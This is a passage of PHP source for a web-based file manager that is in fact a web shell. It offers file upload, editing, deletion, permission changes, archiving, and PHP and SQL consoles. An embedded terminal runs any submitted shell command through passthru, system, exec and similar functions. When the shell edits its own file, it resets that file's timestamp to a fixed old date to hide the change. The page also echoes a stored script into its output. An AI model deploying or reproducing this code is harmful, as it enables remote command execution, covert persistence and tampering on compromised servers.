uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
